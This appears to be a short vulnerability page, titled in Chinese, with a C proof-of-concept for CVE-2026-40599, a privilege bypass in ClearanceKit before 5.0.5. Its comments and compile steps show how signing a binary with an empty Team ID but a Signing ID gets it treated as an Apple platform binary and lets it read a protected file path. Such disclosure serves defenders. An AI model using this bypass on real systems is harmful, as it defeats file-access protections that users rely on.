CVE-2026-40599 ClearanceKit权限绕过漏洞

/* * PoC for CVE-2026-40599: ClearanceKit Privilege Bypass * * Concept: To exploit this, compile a binary with an empty Team ID * but a non-empty Signing ID. ClearanceKit < 5.0.5 will treat this * as an Apple platform binary. * * Compilation steps (macOS): * 1. clang -o poc_exploit poc_exploit.c * 2. codesign -s "-" --force ./poc_exploit (Ad-hoc signing may trigger specific conditions, * or use a cert with no Team ID) */ #include <stdio.h> #include <stdlib.h> int main() { printf("[+] Starting PoC for CVE-2026-40599\n"); // Attempt to access a protected file path // This would normally be blocked by ClearanceKit for non-Apple processes const char* protected_file = "/System/Library/Protected/TargetFile"; FILE *fp = fopen(protected_file, "r"); if (fp) { printf("[!] SUCCESS: Accessed protected file: %s\n", protected_file); printf("[!] ClearanceKit failed to block the process.\n"); fclose(fp); } else { printf("[-] Failed to access file (may not exist or patched).\n"); } return 0; }